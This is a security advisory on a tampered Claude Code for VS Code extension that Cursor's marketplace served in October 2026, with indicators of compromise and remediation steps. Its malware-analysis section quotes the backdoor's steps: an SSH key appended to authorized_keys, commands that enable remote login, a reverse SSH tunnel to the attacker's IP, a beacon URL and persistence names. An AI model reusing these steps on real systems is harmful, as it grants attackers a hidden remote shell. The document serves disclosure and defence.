What happened
On 29 October 2026, between about 2:27 am and 1:35 pm Pacific time (09:27 to 20:35 UTC), the extension marketplace built into the Cursor editor served a tampered copy of Claude Code for VS Code, Anthropic's official extension (Anthropic.claude-code). Cursor says the affected versions are 2.1.312 and 2.1.313 for macOS and Windows, for anyone who installed or updated the extension from Cursor's marketplace during that window.
The package appeared under the extension's legitimate publisher identity, not under a look-alike name. Nothing in the editor told users that anything was wrong. Cursor says the malicious version was not developed by Anthropic. According to StepSecurity, Anthropic said 2.1.313 was never published on Open VSX, the Visual Studio Marketplace or any official channel, and skipped straight to 2.1.314.
Cursor's initial figure, reported by StepSecurity and Morphisec, is at most 5,000 users exposed. Researchers at Phorion and OpenSourceMalware, and Kevin Beaumont, were among the first to raise the alarm.
Only Cursor's marketplace served it
Early reports also named Open VSX, npm and Microsoft's marketplace. Those reports were corrected: Cursor's marketplace was the only source of the malicious build. StepSecurity downloaded the 2.1.312 build served by Open VSX and found it clean, and Socket found no sign of 2.1.313 on Open VSX. VS Code users who install from Microsoft's marketplace were not exposed by this incident.
How the attacker got publishing access is still unknown. Neither Cursor nor Anthropic has said whether a publishing key, an account or the marketplace infrastructure was compromised.
What the malicious code does
The attacker took the official 2.1.312 bundle and prepended a 7,386-byte loader to extension.js. The rest of the file is byte-identical to the legitimate one, so the extension keeps working normally. The loader runs as soon as the extension loads, with no action from the user. StepSecurity describes six stages:
- Reconnaissance. It collects the hostname, username, OS, architecture, home and working directories, the Git email (
git config --global user.email) and the public IP. It records the names of environment variables matchingKEY,TOKEN,SECRET,PASS,AWSorGCP, but not their values. - SSH key implant. It appends an attacker-controlled Ed25519 key, with the comment
svc-telemetry, to~/.ssh/authorized_keys. - SSH server activation. On macOS it runs
systemsetup -setremotelogin on. On Windows it installs and starts OpenSSH Server. The code also has a Linux branch usingsystemctl. - Reverse tunnel. It runs
ssh -N -R '*:0:localhost:22'(orautossh) to134.209.82.225, which exposes the machine's local SSH port on the attacker's server and bypasses inbound firewalls and NAT. It retries every 60 seconds. - Persistence.
- macOS: a LaunchAgent named
com.apple.sysmond. - Windows: a scheduled task
SysMonrunning as SYSTEM, or asysmon.cmdscript in the Startup folder as a fallback. - Linux: a cron
@rebootentry.
- macOS: a LaunchAgent named
- Beacon. It posts the collected data and the status of each stage to
http://134.209.82.225:8099/beacon.
StepSecurity found no attempt to read credential values, no access to Claude or VS Code data and no second-stage download. With an SSH key and a tunnel in place, though, the attacker would get a shell on the machine and could then take everything the user can reach.
Why most attempts probably failed
Turning on the SSH server needs administrator rights, which Cursor normally does not have.
- macOS: without elevated rights, the status check returns an error instead of "Off", so the malware skips enabling Remote Login.
- Windows: the OpenSSH install is started through
/bin/sh, which does not exist on a standard Windows install, so it fails.
Cursor says the backdoor "would fail" on most machines, except in unusual cases where Cursor ran with admin rights. The unauthorized key and the persistence are still written, however, and the tunnel keeps being retried. A machine where SSH was already enabled, which is common on developer Macs and servers, does not need that step at all.
Response
Cursor removed the version and blocked its distribution, then shut down the whole marketplace while it audited the other extensions. It found no other tampered extension, rotated its keys, rebuilt the marketplace and brought it back online. With the hosting provider's help, the attacker's server at 134.209.82.225 was taken offline on 30 October.
Check your machine
If you use Cursor on macOS or Windows, look for the attacker key:
# macOS / Linux
grep -s svc-telemetry ~/.ssh/authorized_keys
# Windows (PowerShell)
Select-String -Path "$HOME\.ssh\authorized_keys","C:\ProgramData\ssh\administrators_authorized_keys" -Pattern svc-telemetry -ErrorAction SilentlyContinue
Other indicators published by Cursor and StepSecurity:
- Files:
- Linux/macOS:
~/.config/.smtand~/.config/.smtk; - Windows:
%USERPROFILE%\.config\smt.cmdandsmtk; - all platforms:
.stk_<10 hex>files in the temp folder.
- Linux/macOS:
- macOS:
~/Library/LaunchAgents/com.apple.sysmond.plist. - Windows: the
SysMonscheduled task, andsysmon.cmdin the Startup folder. - Network: connections to
134.209.82.225on port 22 or 8099. - Unauthorized key fingerprint:
SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk. - Malicious
extension.js(common to all four packages): SHA-256ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15.
Cursor's notice lists the SHA-256 and MD5 hashes of the four malicious VSIX packages (2.1.312 and 2.1.313, darwin-arm64 and win32-x64).
If you find it
- Isolate the machine before anything else.
- Remove the backdoor, not just the extension. Uninstalling or updating the extension does not remove the key, the scripts or the persistence. Cursor provides
remediate-macos.sh, to run as the affected user, andremediate-windows.ps1, to run as Administrator. Both exit with an error if anything is left. If in doubt, rebuild the machine. - Rotate the secrets reachable from that machine, from a trusted computer: SSH keys, Git and GitHub tokens, cloud keys (AWS, GCP), API keys (including Anthropic and OpenAI keys) and active sessions. The malware listed the names of these variables.
- Search your fleet for the indicators above in EDR, network and extension-install logs.
Takeaway
This attack did not rely on a look-alike name or typosquatting. It used the real extension, under the real publisher, in a marketplace trusted by default. Editors forked from VS Code (Cursor, Windsurf, VSCodium and others) do not use Microsoft's marketplace, so they each run their own distribution chain. For sensitive machines, pin extension versions, turn off auto-update where you can, and treat AI-assistant extensions as code that runs with the developer's full rights.